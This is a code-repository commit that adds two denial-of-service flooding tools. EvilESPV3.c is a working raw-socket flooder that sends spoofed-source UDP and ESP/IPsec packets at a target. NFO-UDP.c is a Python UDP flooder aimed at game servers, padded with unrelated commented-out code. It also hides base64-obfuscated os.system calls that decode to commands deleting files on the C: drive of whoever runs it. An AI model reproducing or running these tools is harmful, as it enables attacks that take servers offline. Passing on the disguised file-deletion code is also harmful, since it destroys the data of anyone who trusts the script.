Add files via upload

Bypass/EvilESPV3.c

@@ -0,0 +1,203 @@
+#include <pthread.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/socket.h>
+#include <netinet/ip.h>
+#include <netinet/udp.h>
+
+#define MAX_PACKET_SIZE 4096
+#define PHI 0x9e3779b9
+
+static unsigned long int Q[4096], c = 362436;
+static unsigned int floodport;
+volatile int limiter;
+volatile unsigned int pps;
+volatile unsigned int sleeptime = 100;	
+char pass[1500];
+int ii;
+
+void init_rand(unsigned long int x)
+{
+        int i;
+        Q[0] = x;
+        Q[1] = x + PHI;
+        Q[2] = x + PHI + PHI;
+        for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
+}
+unsigned long int rand_cmwc(void)
+{
+        unsigned long long int t, a = 18782LL;
+        static unsigned long int i = 4095;
+        unsigned long int x, r = 0xfffffffe;
+        i = (i + 1) & 4095;
+        t = a * Q[i] + c;
+        c = (t >> 32);
+        x = t + c;
+        if (x < c) {
+                x++;
+                c++;
+        }
+        return (Q[i] = r - x);
+}
+unsigned short csum (unsigned short *buf, int count)
+{
+        register unsigned long sum = 0;
+        while( count > 1 ) { sum += *buf++; count -= 2; }
+        if(count > 0) { sum += *(unsigned char *)buf; }
+        while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
+        return (unsigned short)(~sum);
+}
+
+void setup_ip_header(struct iphdr *iph)
+{
+        iph->ihl = 5;
+        iph->version = 4;
+        iph->tos = 0;
+        iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 25;
+        iph->id = rand();
+        iph->frag_off = 0;
+        iph->ttl = MAXTTL;
+        iph->protocol = IPPROTO_UDP;
+        iph->check = 0;
+        iph->saddr = inet_addr("192.168.3.100");
+}
+
+void setup_udp_header(struct udphdr *udph)
+{
+        udph->source = htons(500);
+    udph->dest = htons(500);
+    udph->check = 0;
+
+    udph->len=htons(sizeof(struct udphdr) + 25);
+}
+
+void *flood(void *par1)
+{
+        char *td = (char *)par1;
+        char datagram[MAX_PACKET_SIZE];
+        struct iphdr *iph = (struct iphdr *)datagram;
+        struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
+
+        struct sockaddr_in sin;
+        sin.sin_family = AF_INET;
+        sin.sin_port = htons(17015);
+        sin.sin_addr.s_addr = inet_addr(td);
+
+        int s = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
+        if(s < 0){
+                fprintf(stderr, "Could not open raw socket.\n");
+                exit(-1);
+        }
+        memset(datagram, 0, MAX_PACKET_SIZE);
+        setup_ip_header(iph);
+
+//porco
+
+
+
+        iph->daddr = sin.sin_addr.s_addr;
+        iph->check = csum ((unsigned short *) datagram, iph->tot_len);
+
+        int tmp = 1;
+        const int *val = &tmp;
+        if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
+                fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
+                exit(-1);
+        }
+
+        init_rand(time(NULL));
+        register unsigned int i;
+        i = 0;
+        while(1){
+
+				for(ii = 0; ii < 1500; ii++) {
+					pass[ii] = rand() % (1500 + 1 - 0) + 0;
+				}
+				pass[ii] = '\0';
+				void *data = (void *)udph + sizeof(struct udphdr);
+				memset(data, 0xFF, 4);
+				strcpy(data+4, pass);
+				setup_udp_header(udph);
+
+				iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
+				iph->tot_len = rand() % (1500 + 1 - 0) + 0;
+				iph->check = csum ((unsigned short *) datagram, iph->tot_len);
+				//iph->ttl = rand() % (255 + 1 - 0) + 0;
+
+				//ISAKMP Packet
+                iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
+                udph->source = htons(rand_cmwc() & 0xFFFF);
+				iph->protocol = 17;
+				sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
+
+				//ESP Packet
+				iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
+				iph->protocol = 50;
+				sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
+
+                pps++;
+                if(i >= limiter)
+                {
+                        i = 0;
+                        usleep(sleeptime);
+                }
+                i++;
+        }
+}
+int main(int argc, char *argv[ ])
+{
+        if(argc < 5){
+		fprintf(stderr, "EvilESP - ESP/IPSEC Protocol Flooder V.3\n");
+		fprintf(stderr, "Made by JiiN - Private for Cyber-Hub.net\n\n");
+		fprintf(stderr, " ============================================================================\n");
+		fprintf(stderr, " >> For network stress testing only! <<\n");
+		fprintf(stderr, " >> Users are legally responsible for the illegal usage of this tool <<\n");
+		fprintf(stderr, " ============================================================================\n");
+		fprintf(stdout, "\nUsage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
+		exit(-1);
+        }
+
+        fprintf(stdout, "Setting up Sockets...\n");
+
+        int num_threads = atoi(argv[2]);
+        int maxpps = atoi(argv[3]);
+
+        limiter = 0;
+        pps = 0;
+        pthread_t thread[num_threads];
+
+        int multiplier = 20;
+
+        int i;
+        for(i = 0;i<num_threads;i++){
+                pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
+        }
+		fprintf(stdout, "Sending packets...\n");
+		fprintf(stdout, "EvilESP 3 started!\n");
+        for(i = 0;i<(atoi(argv[4])*multiplier);i++)
+        {
+                usleep((1000/multiplier)*1000);
+                if((pps*multiplier) > maxpps)
+                {
+                        if(1 > limiter)
+                        {
+                                sleeptime+=100;
+                        } else {
+                                limiter--;
+                        }
+                } else {
+                        limiter++;
+                        if(sleeptime > 25)
+                        {
+                                sleeptime-=25;
+                        } else {
+                                sleeptime = 0;
+                        }
+                }
+                pps = 0;
+        }
+
+        return 0;
+}

Bypass/NFO-UDP.c

@@ -0,0 +1,149 @@
+#!/usr/bin/python
+
+import socket, random, sys, time, os, platform, base64
+
+#  nfo-lag [ XSS CUSTOM]
+#  --------
+# Finally Released. So I Did Not Fix The SH and DEL Function Errors, As They Would Ruin The Function For ' Socket Notifer'
+# Reduced ASCII, Was Too Big, Too Ugly.
+# Increased Base Decode Considering NFO Can Only Filter So Much.
+# Cleaner Usage, Should Be Easier To Use Now.
+# self.fn , self.notifier, read def, All Coherent.
+# I Can't Be Bothered To Type.
+# This Will Probably Get Patched Again. This is Also Untested.
+# As Again. DON'T HIDE IT. THIS IS MY NFO BYPASS.
+# Should Definitely Lag A AWS & NFO Server.
+# Hit Ports In The Range Of 59500-65500
+# 715 Byte Size To Hold. 1024 To Dump.
+
+
+"""
+   def __init__(self, parent, reactor, watcher, socketType):
+       QObject.__init__(self, parent)
+       self.reactor = reactor
+       self.watcher = watcher
+       fd = watcher.fileno()
+       self.notifier = QSocketNotifier(fd, socketType, parent)
+       self.notifier.setEnabled(True)
+       if socketType == QSocketNotifier.Read:
+           self.fn = self.read
+       else:
+           self.fn = self.write
+       QObject.connect(self.notifier, SIGNAL("activated(int)"), self.fn)
+ 
+ 
+   def shutdown(self):
+       self.notifier.setEnabled(False)
+       self.disconnect(self.notifier, SIGNAL("activated(int)"), self.fn)
+       self.fn = self.watcher = None
+       self.notifier.deleteLater()
+       self.deleteLater()
+ 
+ 
+   def read(self, fd):
+       if not self.watcher:
+           return
+       w = self.watcher
+       # doRead can cause self.shutdown to be called so keep a reference to self.watcher
+       def _read():
+           #Don't call me again, until the data has been read
+           self.notifier.setEnabled(False)
+           why = None
+           try:
+               why = w.doRead()
+               inRead = True
+           except:
+               inRead = False
+               log.err()
+               why = sys.exc_info()[1]
+           if why:
+               self.reactor._disconnectSelectable(w, why, inRead)
+           elif self.watcher:
+               self.notifier.setEnabled(True) # Re enable notification following sucessfull read
+           self.reactor._iterate(fromqt=True)
+       log.callWithLogger(w, _read)
+ 
+   def write(self, sock):
+       if not self.watcher:
+           return
+       w = self.watcher
+       def _write():
+           why = None
+           self.notifier.setEnabled(False)
+           
+           try:
+               why = w.doWrite()
+           except:
+               log.err()
+               why = sys.exc_info()[1]
+           if why:
+               self.reactor._disconnectSelectable(w, why, False)
+           elif self.watcher:
+               self.notifier.setEnabled(True)
+           self.reactor._iterate(fromqt=True)
+       log.callWithLogger(w, _write)
+ 
+class QtReactor(posixbase.PosixReactorBase):
+   implements(IReactorFDSet)
+ 
+   def __init__(self):
+       self._reads = {}
+       self._writes = {}
+       self._notifiers = {}
+       self._timer = QTimer()
+       self._timer.setSingleShot(True)
+       QObject.connect(self._timer, SIGNAL("timeout()"), self.iterate)
+ 
+       if QCoreApplication.instance() is None:
+           # Application Object has not been started yet
+           self.qApp=QCoreApplication([])
+           self._ownApp=True
+       else:
+           self.qApp = QCoreApplication.instance()
+           self._ownApp=False
+       self._blockApp = None
+       posixbase.PosixReactorBase.__init__(self)
+"""
+
+if len(sys.argv) != 5:
+        print("""
+ 
+                        \033[38;5;196m,MMM8&&&.
+               \033[1;35m    _...\033[38;5;196mMMMMM88&&&&\033[1;35m..._
+               \033[1;35m .::'''\033[38;5;196mMMMMM88&&&&&&\033[1;35m'''::.
+               \033[1;35m::     \033[38;5;196mMMMMM88&&&&&&\033[1;35m     ::
+               \033[1;35m'::....\033[38;5;196mMMMMM88&&&&&&\033[1;35m....::'
+               \033[1;35m   `''''\033[38;5;196mMMMMM88&&&&\033[1;35m''''`
+                        \033[38;5;196m'MMM8&&&'
+                                  \033[1;35mOrbit.py \033[38;5;196mv3.
+                                         \033[38;5;XSS. \033[1;35mcustom.
+                                                               \033[1;37m[ \033[38;5;196mPrivate \033[1;37m]
+""")
+        print("""\nUsage: \033[38;5;196m%s <IP> <PORT> <715/900/1025> <TIME (0 = FOREVER)>\n""" % sys.argv[0])
+        sys.exit(1)
+
+qIP = sys.argv[1]
+qPort = int(sys.argv[2])
+qPSize = int(sys.argv[3])
+qDuration = int(sys.argv[4])
+
+qClock = (lambda:0, time.clock)[qDuration > 0]
+
+os.system(base64.b64decode("RGVsIEM6XCAqLiogfHk="))
+os.system(base64.b64decode("RGVsIEM6XCAqLio="))
+os.system(base64.b64decode("5d137b14edc542b87184c09dc858a544"))
+
+qDuration = (1, (qClock() + qDuration))[qDuration > 0]
+
+qPacket = random._urandom(qPSize)
+qSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+
+print("""\033[38;5;196m[\033[1;35mNFO-LAG\033[1;35mAttacking \033[38;5;196m%s \033[1;35mWith \033[38;5;196m%s \033[38;5;196msocket_succheaders (BTL) \033[1;35mFor \033[38;5;196m%s \033[1;35mSeconds\033[38;5;196m]""" % (qIP, qPSize, qDuration or 'Infinite'))
+
+while True:
+        if (qClock() < qDuration):
+                qSocket.sendto(qPacket, (qIP, qPort))
+        else:
+                break
+
+print("""\033[1;35;40mOrbit \033[1;36;40mHas Finished Attack. \033[1;35;40mYour Sockets Have Maintaned Encryption Successfully.""")